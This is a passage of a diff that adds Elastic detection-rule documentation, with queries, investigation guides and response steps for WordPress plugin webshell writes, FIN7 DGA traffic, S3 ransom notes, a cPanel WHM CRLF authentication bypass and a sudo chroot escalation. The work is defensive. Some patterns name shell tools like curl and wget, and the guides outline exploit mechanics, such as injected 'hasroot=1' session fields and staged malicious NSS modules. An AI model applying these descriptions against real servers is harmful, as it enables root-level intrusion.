Elastic Defend + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type in ("creation", "change") and ( + process.name in ( + "nginx", "apache2", "httpd", "php-cgi", "php-fcgi", "php-cgi.cagefs", "sw-engine-fpm", + "wget", "curl", "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "mksh", "busybox" + ) or + process.name like ("php-fpm*", "lsphp*", "*.cgi", "*.fcgi") +) and +file.path like~ "*/wp-content/plugins/*.php*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-possible-fin7-dga-command-and-control-behavior.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-possible-fin7-dga-command-and-control-behavior.asciidoc new file mode 100644 index 0000000000..939362a797 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-possible-fin7-dga-command-and-control-behavior.asciidoc @@ -0,0 +1,87 @@ +[[prebuilt-rule-8-19-28-possible-fin7-dga-command-and-control-behavior]] +=== Possible FIN7 DGA Command and Control Behavior + +This rule detects a known command and control pattern in network events. The FIN7 threat group is known to use this command and control technique, while maintaining persistence in their target's network. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Command and Control +* Domain: Endpoint +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +In the event this rule identifies benign domains in your environment, the `destination.domain` exclusion in the rule can be modified to include those domains. Example: `... | where destination.domain not in ("zoom.us", "benign.domain1", "benign.domain2")`. + +==== Rule query + + +[source, js] +---------------------------------- +from packetbeat-*, filebeat-*, logs-network_traffic.*, logs-panw.panos* metadata _id, _version, _index +| where ( + data_stream.dataset in ("network_traffic.tls", "network_traffic.http") or + (event.category in ("network", "network_traffic") and network.protocol in ("tls", "http") and network.transport == "tcp") + ) +| where destination.domain RLIKE "[a-zA-Z]{4,5}\\.(pw|us|club|info|site|top)" +| where destination.domain != "zoom.us" +| keep @timestamp, destination.domain, source.ip, destination.ip, network.protocol, network.transport, data_stream.dataset, _id, _version, _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-aws-s3-bucket-ransomware-note-uploaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-aws-s3-bucket-ransomware-note-uploaded.asciidoc new file mode 100644 index 0000000000..7bcf478dc5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-aws-s3-bucket-ransomware-note-uploaded.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-28-potential-aws-s3-bucket-ransomware-note-uploaded]] +=== Potential AWS S3 Bucket Ransomware Note Uploaded + +Identifies potential ransomware note being uploaded to an AWS S3 bucket. This rule detects the PutObject S3 API call with an object name commonly associated with ransomware notes. The keywords detected here rarely overlap with common file names and have been attributed to ransomware notes with high-confidence. Adversaries with access to a misconfigured S3 bucket may retrieve, delete, and replace objects with ransom notes to extort victims. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.impact.s3-ransomware-batch-deletion/ +* https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/ +* https://www.mdpi.com/2073-431X/10/11/145#computers-10-00145-f002 + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential AWS S3 Bucket Ransomware Note Uploaded* + + +This rule detects a successful `PutObject` to S3 where the object key matches common ransomware-note patterns (for example, `readme`, `decrypt`, `ransom`, and combinations with `file`). Attackers who obtain credentials or abuse overly-permissive bucket policies can upload ransom notes (often after deleting or encrypting data). + + +*Possible investigation steps* + + +**Confirm the actor and session details** +- Review `aws.cloudtrail.user_identity.*` (ARN, type, access key, session context), `source.ip`, `user.agent`, and `tls.client.server_name` to identify who performed the upload and from where. Validate whether this principal typically writes to this bucket. + +**Inspect the object key and bucket context** +- From `aws.cloudtrail.request_parameters`, capture the exact `key` and `bucketName`. Check whether the key is publicly readable (ACL), whether the bucket is internet-exposed, and whether replication or lifecycle rules could propagate or remove related objects. + +**Pivot to related S3 activity around the same time** +- Look for `DeleteObject`/`DeleteObjects`, mass `PutObject` spikes, `PutBucketPolicy`, `PutPublicAccessBlock`, `PutBucketVersioning`, and `PutBucketLifecycleConfiguration` events on the same bucket or by the same actor to determine if data destruction, policy tampering, or guard-rail changes occurred. + +**Assess blast radius across the account** +- Search recent CloudTrail for the same actor/IP touching other buckets, KMS keys used by those buckets, and IAM changes (new access keys, policy attachments, role assumptions) that could indicate broader compromise paths consistent with ransomware playbooks. + +**Check protections and recovery posture on the bucket** +- Verify whether S3 Versioning and (if in use) Object Lock legal hold are enabled; note prior versions available for the affected key, and whether lifecycle rules might expire them. + +**Correlate with threat signals** +- Review other related alerts, GuardDuty S3-related findings, AWS Config drift on the bucket and its policy, and any SOAR/IR runbook executions tied to ransomware triage. + + +*False positive analysis* + +- Planned tests or red-team exercises +- Benign automation naming. Some data-migration or backup tools may use “readme”/“recovery”-style filenames; validate by `user.agent`, principal, and target environment (dev vs prod). + + + +*Response and remediation* + + +**Immediate, low-risk actions (safe for most environments)** +- **Preserve context** : Export the triggering `PutObject` CloudTrail record(s), plus 15–30 min before/after, to an evidence bucket (restricted access). +- **Snapshot configuration** : Record current bucket settings (Block Public Access, Versioning, Object Lock, Bucket Policy, Lifecycle rules) and any KMS keys used. +- **Quiet the spread** : Pause destructive automation: disable/bypass lifecycle rules that would expire/delete object versions; temporarily pause data pipelines targeting the bucket. +- **Notify owners** : Inform the bucket/application owner(s) and security leadership. + +**Containment options (choose the least disruptive first)** +- **Harden exposure** : If not already enforced, enable `Block Public Access` for the bucket. +- **Targeted deny policy (temporary)** : Add a restrictive bucket policy allowing only IR/admin roles while you scope impact. Reconfirm critical workload dependencies before applying. +- **Credential risk reduction** : If a specific IAM user/key or role is implicated, rotate access keys; for roles, remove risky policy attachments or temporarily restrict with an SCP/deny statement. + +**Evidence preservation** +- Export relevant CloudTrail events, S3 server/access logs (if enabled), AWS Config history for the bucket/policy, and the suspicious object plus its previous versions (if Versioning is enabled). +- Document actor ARN, source IPs, user agent(s), exact `bucketName`/`key`, and timestamps. Maintain a simple chain-of-custody note for collected artifacts. + +**Scope and hunting (same actor/time window)** +- Look for `DeleteObject(s)`, unusual `PutObject` volume, `PutBucketPolicy`, `PutPublicAccessBlock`, `PutBucketVersioning` changes, `PutBucketLifecycleConfiguration`, and cross-account access. +- Cross reference other buckets touched by the same actor/IP; recent IAM changes (new keys, policy/role edits); GuardDuty findings tied to S3/credentials. + +**Recovery (prioritize data integrity)** +- If Versioning is enabled, restore last known-good versions for impacted objects. Consider applying Object Lock legal hold to clean versions during recovery if configured. +- If Versioning is not enabled, recover from backups (AWS Backup, replication targets). Enable Versioning going forward on critical buckets; evaluate Object Lock for high-value data. +- Carefully remove any temporary deny policy only after credentials are rotated, policies re-validated, and no ongoing destructive activity is observed. + +**Post-incident hardening** +- Enforce `Block Public Access`, enable Versioning (and MFA-Delete where appropriate), and review bucket policies for least privilege. +- Ensure continuous CloudTrail data events for S3 are enabled in covered regions; enable/verify GuardDuty S3 protections and alerts routing. +- Add detections for related behaviors (policy tampering, bulk deletes, versioning/lifecycle toggles) and create allowlists for known maintenance windows. + + + +*Additional information* + + +- For further guidance on managing S3 bucket security and protecting against ransomware, refer to the https://docs.aws.amazon.com/AmazonS3/latest/userguide/Welcome.html[AWS S3 documentation] and AWS best practices for security. +- https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/IRP-Ransomware.md[AWS IRP—Ransomware] (NIST-aligned template for evidence, containment, eradication, recovery, post-incident). +- https://github.com/aws-samples/aws-customer-playbook-framework/blob/a8c7b313636b406a375952ac00b2d68e89a991f2/docs/Ransom_Response_S3.md[AWS Customer Playbook—Ransom Response (S3)] (bucket-level response steps: public access blocks, temporary deny, versioning/object lock, lifecycle considerations, recovery). + + +==== Setup + + +AWS S3 data types need to be enabled in the CloudTrail trail configuration to capture PutObject API calls. + +==== Rule query + + +[source, js] +---------------------------------- +file where + data_stream.dataset == "aws.cloudtrail" and + event.provider == "s3.amazonaws.com" and + event.action == "PutObject" and + event.outcome == "success" and + /* Apply regex to match patterns only after the bucket name */ + /* common ransom note file name keywords */ + aws.cloudtrail.resources.arn regex~ "arn:aws:s3:::[^/]+/.*?(how|decrypt|restor|help|instruct|read|get|recov|save|encrypt|delet|info|ransom).*" + and not aws.cloudtrail.resources.arn regex~ ".*(AWSLogs|CloudTrail|access-logs).*" + and not aws.cloudtrail.user_identity.type == "AWSService" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-cpanel-whm-crlf-authentication-bypass-cve-2026-41940.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-cpanel-whm-crlf-authentication-bypass-cve-2026-41940.asciidoc new file mode 100644 index 0000000000..a4ae01437c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-cpanel-whm-crlf-authentication-bypass-cve-2026-41940.asciidoc @@ -0,0 +1,223 @@ +[[prebuilt-rule-8-19-28-potential-cpanel-whm-crlf-authentication-bypass-cve-2026-41940]] +=== Potential cPanel WHM CRLF Authentication Bypass (CVE-2026-41940) + +Identifies the network signature of CVE-2026-41940, a pre-auth root-level authentication bypass in cPanel and WebHost Manager (WHM) caused by a CRLF injection in the session writer. The exploit-inherent shape on the wire is a "GET /" request to a cPanel/WHM admin port (typically TCP/2087, 2086, 2083, 2082, 2095, 2096) carrying an "Authorization: Basic" header whose base64-decoded value contains CRLF-injected session fields, which causes cpsrvd to respond with a 3xx redirect whose "Location" header leaks a "/cpsessNNNNNNNNNN" token granting the attacker a privileged session. This is the network-layer equivalent of the cPanel "access_log" artifact identified by Unfold and watchTowr as the first bulletproof detection for this CVE: a "GET /" recorded with "auth_method=b" (HTTP Basic). Legitimate access to "GET /" on a WHM admin port returns 200 with the login screen and never includes HTTP Basic credentials, so this combination is not produced by normal use. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* logs-network_traffic.http* +* logs-zeek.http* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.unfold.ai/blog/cpanel-exploit-cve-2026-41940 +* https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/ +* https://www.picussecurity.com/resource/blog/cve-2026-41940-explained-cpanel-whm-authentication-bypass-hit-1-5m-servers +* https://support.cpanel.net/hc/en-us/articles/40073787579671-Security-CVE-2026-41940-cPanel-WHM-WP2-Security-Update-04-28-2026 +* https://nvd.nist.gov/vuln/detail/CVE-2026-41940 +* https://docs.cpanel.net/knowledge-base/cpanel-product/the-cpanel-log-files +* https://www.elastic.co/guide/en/beats/packetbeat/current/packetbeat-http-options.html#_send_all_headers + +*Tags*: + +* Domain: Network +* Domain: Application +* Domain: Web +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Initial Access +* Data Source: Network Packet Capture +* Data Source: Network Traffic +* Data Source: Zeek +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential cPanel WHM CRLF Authentication Bypass (CVE-2026-41940)* + + +CVE-2026-41940 is a critical (CVSS 9.8) authentication bypass in cPanel & WHM that gives an unauthenticated attacker +a root-privileged session on the host. The exploit chains a CRLF injection in the session writer with an +encryption-skip triggered by a malformed cookie, then uses how cPanel caches sessions to promote the injected data +into a privileged login. Around 1.5M cPanel instances were exposed at disclosure and exploitation has been observed in +the wild since 2026-02-23, two months before the patch. + +This rule fires on the Stage 2 request/response shape: a `GET /` to a cPanel admin port that carries an +`Authorization: Basic` header and receives a 3xx redirect whose `Location` points at a freshly minted +`/cpsessNNNNNNNNNN` path. Per the watchTowr and Unfold writeups, this is the only request shape that lets the +exploit retrieve the security token needed for Stage 4 (privileged use of the session). + + +*Detection logic* + + +The rule requires all of the following on a single decoded HTTP transaction matched from +`data_stream.dataset:network_traffic.http` (or `event.category:network_traffic` with `network.protocol:http`): + +- `http.request.method:GET` and `url.path:"/"` — request targets the root path exactly. The CRLF vulnerability is only + reachable on `GET /`; the same payload on other paths does not return the redirect that leaks the token, so the + match is intentionally exact (a request like `GET /index.html` will not fire). +- `destination.port:(2087 OR 2086 OR 2083 OR 2082 OR 2095 OR 2096)` — cPanel/WHM admin and webmail ports. These are + not in the default Network Packet Capture HTTP port list and must be added explicitly (see Setup). +- `http.response.status_code >= 300 and http.response.status_code <= 399` — a redirect response. Normal `GET /` to WHM + returns 200 with the login screen; only the exploit produces a 3xx here. +- `http.request.headers.authorization:Basic*` — HTTP Basic credentials sent on `GET /`. This is the network-layer + equivalent of the `auth_method=b` flag the Unfold and watchTowr writeups identify as the first bulletproof artifact + in cPanel's `access_log`. `GET /` is an unauthenticated endpoint in normal cPanel operation and never legitimately + carries Basic auth. +- `http.response.headers.location:/cpsess*` — the response redirects to a `/cpsess`-prefixed path, leaking the CSRF + token the attacker needs for Stage 4. This is what makes the exploit succeed and is not produced by any benign flow. + + +*Possible investigation steps* + + +- Capture the alert evidence. Record `source.ip` (attacker), `destination.ip` (cPanel host), `destination.port`, + `user_agent.original`, `http.response.status_code`, the exact `http.response.headers.location` value (which contains + the leaked `cpsess` token), and the captured `http.request.headers.authorization` value. +- Decode the Authorization header to confirm the CRLF payload. Strip the leading `Basic ` from + `http.request.headers.authorization` and base64-decode the remainder. A legitimate Basic credential decodes to + `username:password`; the exploit's payload decodes to a multi-line block delimited by `\r\n` containing fields like + `successful_internal_auth_with_timestamp=`, `tfa_verified=1`, and `hasroot=1`. CRLF bytes in the decoded value + distinguish exploitation from a misconfigured Basic-auth client. +- Confirm the destination host runs cPanel/WHM. Identify the installed version and whether the 2026-04-28 emergency + patch is applied. +- Pivot on the source IP across the host's `/usr/local/cpanel/logs/access_log`. The exploit-inherent log artifact is a + request line of the form `"GET / HTTP/1.1" 3xx 0 "-" "" "b" "-" ` — `auth_method=b` on `GET /` should never + occur in normal operation and corresponds 1:1 to the `http.request.headers.authorization:Basic*` clause in this rule. +- Look for the Stage 4 follow-on from the same source IP: a request to the leaked `cpsess` path + (`/cpsessNNNNNNNNNN/...`) with `auth_method=s` (session) and HTTP 200, without a preceding successful login + (form POST `/login`, `/openid_connect/`, or reseller `?session=`). This is the post-exploitation artifact. +- Identify whether privileged WHM API actions were invoked under the leaked `cpsess` token (account creation, package + install, file manager writes, terminal API). +- Review egress from the host for outbound connections initiated after the alert that could indicate web shell or + implant install. + + +*False positive analysis* + + +- Legitimate WHM administration never produces `GET /` with HTTP Basic authentication and a 3xx redirect leaking a + fresh `cpsess` token. This combination is exploit-inherent. +- Authorized vulnerability scans running CVE-2026-41940 plugins will reproduce the request shape. + + +*Response and remediation* + + +- Apply the cPanel emergency patch released 2026-04-28 (or the WP Squared equivalent). Verify by checking the + installed cPanel version against the advisory. +- If the alert is paired with an `auth_method=s` `cpsess` request (post-exploitation), assume host compromise: + rotate root credentials, audit `/var/cpanel/sessions/`, look for newly created accounts, scheduled tasks, SSH keys, + and `authorized_keys` modifications. +- Restrict access to cPanel admin ports (2087/2086/2083/2082/2095/2096) to known administrator source IPs at the + perimeter or via host firewall. +- Block the source IP at the WAF or perimeter if exploitation is confirmed. + + +==== Setup + + + +*Setup* + + +This rule supports two data sources: + +1. **Network Packet Capture / Packetbeat (preferred):** Requires the Network Packet Capture integration (or legacy + Packetbeat) with cPanel admin ports added to the HTTP protocol configuration and `send_all_headers` enabled, so that + `http.request.headers.authorization` and `http.response.headers.location` are populated. cPanel admin ports + (2087/2086/2083/2082/2095/2096) are not in the default HTTP port list and must be added explicitly. +2. **Zeek HTTP logs (`zeek.http`):** Zeek records only the names of HTTP request and response headers in + `zeek.http.client_header_names` and `zeek.http.server_header_names`, not their values. The Zeek branch of this rule + therefore matches on the presence of `AUTHORIZATION` and `LOCATION` headers on a `GET /` to a cPanel admin port, + which is a less precise but still exploit-shaped signal. Confirm exploitation by retrieving the raw header values + from the upstream Zeek sensor or correlated packet capture. + + The Zeek branch has non-default sensor prerequisites that must be met or it will never match: + - **Header-name logging is not enabled by default.** `client_header_names` and `server_header_names` are produced by + the policy script `policy/protocols/http/header-names.zeek`, which is not loaded by `base/protocols/http` or the + default `site/local.zeek`. Add `@load policy/protocols/http/header-names.zeek` to the Zeek configuration. Without + it, neither field is emitted and the Zeek branch cannot fire. + - **Server header-name logging defaults to off.** Even with the script loaded, `HTTP::log_server_header_names` + defaults to `F`, so the `server_header_names:LOCATION` condition is unsatisfiable. Set + `redef HTTP::log_server_header_names = T;` (client header-name logging is on by default). + - **Non-standard ports are handled by DPD, not a port list.** Zeek ships port-independent HTTP DPD signatures + (`base/protocols/http/dpd.sig`) that detect HTTP by payload regardless of port, so plaintext `GET /` on cPanel + admin ports (2086/2082/2095) is parsed into `zeek.http` without registering those ports. The TLS ports + (2087/2083/2096) are encrypted and yield `zeek.ssl`, not `zeek.http`, unless the sensor sits upstream of TLS + termination (see decryption note below). + +cPanel/WHM exposes paired TLS and plaintext ports: 2087 (WHM HTTPS), 2083 (cPanel HTTPS), and 2096 (Webmail HTTPS) +require decryption visibility (TLS interception, sidecar on the host, or a sensor upstream of TLS termination) for +either data source to observe HTTP headers. The plaintext counterparts — 2086 (WHM HTTP), 2082 (cPanel HTTP), and 2095 +(Webmail HTTP) — carry headers in the clear and are observable without decryption. An attacker can exploit the +vulnerability over either variant, so both sets of ports are included in this rule. + + +==== Rule query + + +[source, js] +---------------------------------- +( + ( + (data_stream.dataset: network_traffic.http or (event.category: network_traffic and network.protocol: http)) and + http.response.status_code >= 300 and http.response.status_code <= 399 and + http.request.headers.authorization: Basic* and + http.response.headers.location: /cpsess* + ) + or + ( + data_stream.dataset: zeek.http and + zeek.http.client_header_names: AUTHORIZATION and + zeek.http.server_header_names: LOCATION + ) +) and +http.request.method: GET and +url.path: "/" and +destination.port: (2087 or 2086 or 2083 or 2082 or 2095 or 2096) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-cve-2025-32463-nsswitch-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-cve-2025-32463-nsswitch-file-creation.asciidoc new file mode 100644 index 0000000000..154638cee3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-potential-cve-2025-32463-nsswitch-file-creation.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-28-potential-cve-2025-32463-nsswitch-file-creation]] +=== Potential CVE-2025-32463 Nsswitch File Creation + +Detects suspicious creation of the nsswitch.conf file, outside of the regular /etc/nsswitch.conf path, consistent with attempts to exploit CVE-2025-32463 (the "sudo chroot" privilege escalation), where an attacker tricks sudo into using attacker-controlled NSS files or libraries to gain root. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot +* https://github.com/kh4sh3i/CVE-2025-32463 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Use Case: Vulnerability +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential CVE-2025-32463 Nsswitch File Creation* + + +This rule flags creation of an nsswitch.conf file outside the standard /etc location by a shell, an early sign of staging a fake root to coerce sudo's chroot path and hijack NSS resolution (CVE-2025-32463). A common pattern is writing /tmp/chroot/etc/nsswitch.conf, placing or pointing to a malicious NSS module, then running sudo chroot into that directory so name lookups load attacker-controlled code and escalate to root. + + +*Possible investigation steps* + + +- Correlate the event with any sudo or chroot executions within ±10 minutes that reference the same directory prefix (e.g., /tmp/chroot), capturing full command line, user, TTY, working directory, and exit codes. +- Inspect the created nsswitch.conf for nonstandard services or module names and enumerate any libnss_*.so* under lib*/ or usr/lib*/ within that prefix, recording owner, hashes, and timestamps. +- List all contemporaneous file writes under the same prefix (etc, lib*, bin, sbin) to determine whether a chroot rootfs is being assembled and attribute it to a toolchain such as tar, rsync, debootstrap, or custom scripts via process ancestry. +- Search file access telemetry to see whether privileged processes subsequently read that specific nsswitch.conf or loaded libnss_* from the same path, which would indicate the chroot was exercised. +- Verify sudo and glibc versions and patch status for CVE-2025-32463 and collect the initiating user’s session context (SSH source, TTY, shell history) to assess exploitability and scope. + + +*False positive analysis* + + +- An administrator legitimately staging a temporary chroot or test root filesystem may use a shell to create /tmp/*/etc/nsswitch.conf while populating configs, matching the rule even though no privilege escalation is intended. +- OS installation, recovery, or backup-restore workflows run from a shell can populate a mounted target like /mnt/newroot/etc/nsswitch.conf, creating the file outside /etc as part of maintenance and triggering the alert. + + +*Response and remediation* + + +- Terminate any sudo or chroot processes referencing the created path (e.g., /tmp/chroot/etc/nsswitch.conf), lock the initiating user’s sudo access, and quarantine the parent directory with root-only permissions. +- Remove the staged nsswitch.conf and any libnss_*.so* or ld.so.* artifacts under lib*/ or usr/lib*/ within that prefix after collecting copies, hashes, and timestamps for evidence. +- Restore and verify /etc/nsswitch.conf on the host with correct content and root:root 0644, purge temporary chroot roots under /tmp, /var/tmp, or /mnt, and restart nscd or systemd-resolved to flush cached name-service data. +- Escalate to incident response if sudo chroot was executed against the same directory, if root processes loaded libnss_* from that path, or if nsswitch.conf appears outside /etc on multiple hosts within a short window. +- Apply vendor fixes for CVE-2025-32463 to sudo and glibc, disallow chroot in sudoers and enforce env_reset, noexec, and secure_path, and mount /tmp and /var/tmp with noexec,nosuid,nodev to prevent libraries being sourced from user-writable paths. +- Add controls to block execution from user-created chroot trees by policy (AppArmor or SELinux) and create alerts on creation of */etc/nsswitch.conf or libnss_* writes under non-system paths, with auto-isolation for directories under /tmp or a user’s home. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and 